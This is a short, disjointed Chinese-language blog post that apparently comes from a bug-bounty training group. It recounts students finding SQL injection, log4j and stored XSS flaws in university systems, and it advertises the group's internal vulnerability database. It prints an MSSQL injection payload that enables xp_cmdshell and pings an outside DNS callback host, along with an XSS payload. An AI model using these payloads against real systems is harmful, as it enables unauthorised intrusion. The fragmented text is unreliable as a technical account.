前言
最近漏洞盒子没怎么发项目给深情哥,所以没怎么挖赏金src,刚好周末小灶的问题不多,闲来无事帮学员看看母校。
没怎么认真挖,就挖了一个sql注入出来,我们还是来看看上个月湘安无事团队内部漏洞的学员优秀文章
文件上传处的log4j漏洞
学员某个学院的rce报告
首先打开小程序,发现存在访客
直接测上传,发现文件名存在log4j,有意思!!!!
dnslog收到了回显,下次你们可以试试。
edu众测报告拿下2000大洋
先来展示成果
{{base64enc({{base64enc(admin'EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec master..xp_cmdshell 'ping fb277440ea.ddns.1433.eu.org.';--') AND 1=2 --)}}直播挖学员母校实战案例
某天学员说挖他看一下母校,刚好小灶没人问问题就安排一下了
<imgsrc=xonerror=alert(1)>会被解析,存在存储型xss【src众测分享2k的pdf-js的漏洞报告】 https://www.bilibili.com/video/BV18ibue3Ehn/?share_source=copy_web&vd_source=40d3d8c4cbf8bd3dc4fe6391b8b8f8dd湘安内部漏洞库平台说明
符合再团队而且rank达到88以上的同学可以找我领取内部漏洞库平台邀请码。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




发表评论